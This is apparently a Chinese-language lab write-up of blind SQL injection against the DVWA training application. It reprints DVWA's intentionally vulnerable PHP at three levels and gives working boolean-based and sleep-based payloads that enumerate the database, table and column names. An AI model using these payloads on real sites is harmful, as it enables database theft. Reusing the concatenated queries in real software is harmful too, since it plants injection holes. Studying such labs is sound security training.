SQL Injection(Blind):
SQL盲注:盲注时攻击者通常是无法从显示页面上获取执行结果,甚至连注入语句是否执行都无从得知,因此盲注的难度要比一般注入高。
Low:
源代码:
<?php
if( isset( $_GET[ 'Submit' ] ) ) {
// Get input
$id = $_GET[ 'id' ];
// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors
// Get results
$num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
if( $num > 0 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
- 可以看到,代码并没有对id做过多的处理,存在注入漏洞,并且查询返回结果只有两种User ID exists in the database和User ID is MISSING from the database.
方法一:布尔盲注
-
判断注入点
输入1显示存在,输入1’ 显示不存在,输入1’ and 1=1 #显示存在,输入1’ and 1=2 #显示不存在,判断存在字符型注入
-
猜解数据库名的长度
1' and length(database())=4 #
-
猜解数据库名
1' and ascii(mid(database(),1,1))>97#
显示存在
采用二分法猜解数据库名,为dvwa
-
猜解数据库中表的数量,有两个表
1' and (select count (table_name) from information_schema.tables where table_schema=database() )=2 # 显示存在
-
猜解表名
-
第一个表
-
表长:判断出第一个表的长度为9
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 # 显示存在
这里的substr函数的用法
**SUBSTR (str, pos)**截取从pos位置开始到最后的所有str字符串,substr()函数是从1开始的
另一种用法**SUBSTR (str, pos, len)**从pos位置开始截取len长度的字符串
-
猜表名:猜出表名为guestbook
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97 # //以这种方法猜表名
-
-
第二个表
-
表长:
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1))=5 # 显示存在
-
猜表名:猜出表名为users
-
-
-
猜解表中的字段数,为8
1' and (select count(column_name) from information_schema.columns where table_name= 'users')=8 # 显示存在
-
猜解字段名
1' and length(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),1))=7 # 显示存在,第一个字段名有七个字母
1' and ascii((select column_name from information_schema.columns where table_name= 'users' limit 0,1)) > 90 #这种方式继续爆第一个字段名
采用二分法,即可猜解出所有字段名。
-
最终构造语句得到想要获取的数据
方法二:基于时间的盲注,使用sleep()函数对语句正确性做判断
-
判断注入类型
输入1' and sleep(5) #,感觉到明显延迟; //构造的SQL语句SELECT first_name, last_name FROM users WHERE user_id = '1' and sleep(5) #'; 输入1 and sleep(5) #,没有延迟; //构造的SQL语句SELECT first_name, last_name FROM users WHERE user_id = '1 and sleep(5) #';
判断出是字符型注入
-
首先猜解数据库名的长度:
1’ and if(length(database())=1,sleep(5),1) # 没有延迟 1’ and if(length(database())=2,sleep(5),1) # 没有延迟 1’ and if(length(database())=3,sleep(5),1) # 没有延迟 1’ and if(length(database())=4,sleep(5),1) # 明显延迟
说明数据库名长度为4
补充:MySQL中的if语句的使用,if(A,B,C) 当A成立时执行B,否则执行C
-
使用相同方法去构造sql语句对数据进行爆破
Medium:
源代码:
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];
$id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors
// Get results
$num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
if( $num > 0 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
//mysql_close();
}
?>
代码中使用mysqli_real_escape_string函数对特殊字符进行了转义,并且又设置了下拉框
方法与回显注入中一样,使用burp抓包,并对一些字符转换成十六进制绕过转义,也是使用盲注的方法进行判断语句正确性
High:
源代码:
<?php
if( isset( $_COOKIE[ 'id' ] ) ) {
// Get input
$id = $_COOKIE[ 'id' ];
// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors
// Get results
$num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
if( $num > 0 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// Might sleep a random amount
if( rand( 0, 5 ) == 3 ) {
sleep( rand( 2, 4 ) ); //这里增加了延时函数
}
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
High级别的代码利用cookie传递参数id,$_COOKIE[ ]:通过HTTP Cookies 方式传递给当前脚本的变量的数组。
并且在sql查询结果为空时,增加了延时函数,影响了时间盲注的准确性
所以在本关采用布尔类型的盲注,方法与第二关一致。